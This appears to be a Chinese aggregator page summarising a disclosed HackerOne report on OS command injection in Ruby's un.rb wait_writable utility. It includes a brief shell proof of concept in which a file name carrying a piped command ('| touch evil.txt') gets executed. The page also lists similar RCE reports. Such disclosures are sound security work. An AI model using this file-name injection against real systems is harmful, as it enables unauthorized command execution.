POJIA破甲
地图 / OS Command Injection in '/lib/un.rb -- Utilities to replace common UNIX commands in Makefiles etc'

OS Command Injection in '/lib/un.rb -- Utilities to replace common UNIX commands in Makefiles etc'

代码执行 / 操作系统命令注入 / #1158824

厂商
Ruby
严重程度
低危 · CVSS 6.4
赏金
—
弱点
操作系统命令注入
研究员
@sighook
披露日期
2021-07-19
资产
https://github.com/ruby/ruby
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(531 字符中的一小部分)
If the `wait_writable` command receives a list of files with a command in the name of one of them, it will be executed.
原文中的代码
$ touch \|\ touch\ evil.txt
$ ls
'| touch evil.txt'
$ ruby -run -e wait_writable -- -w 1 -v *
$ ls
evil.txt  '| touch evil.txt'

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Ruby 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @sighook · 版权归作者与 Ruby 所有

同类报告

Potential pre-auth RCE on Twitter VPNX / xAI · 2019-08-10 · $20,160Exposed Kubernetes API - RCE/Exposed CredsSnapchat · 2021-07-29 · $25,000Webshell via File Upload on ecjobs.starbucks.com.cnStarbucks · 2019-11-13🐞 OS Command Injection at https://sea-web.gold.razer.com/lab/ws-lookup via IP parameterRazer · — · $2,000RCE via github importGitLab · 2022-11-16RCE using bash command injection on /system/images (toimitilat.lahitapiola.fi)LocalTapiola · —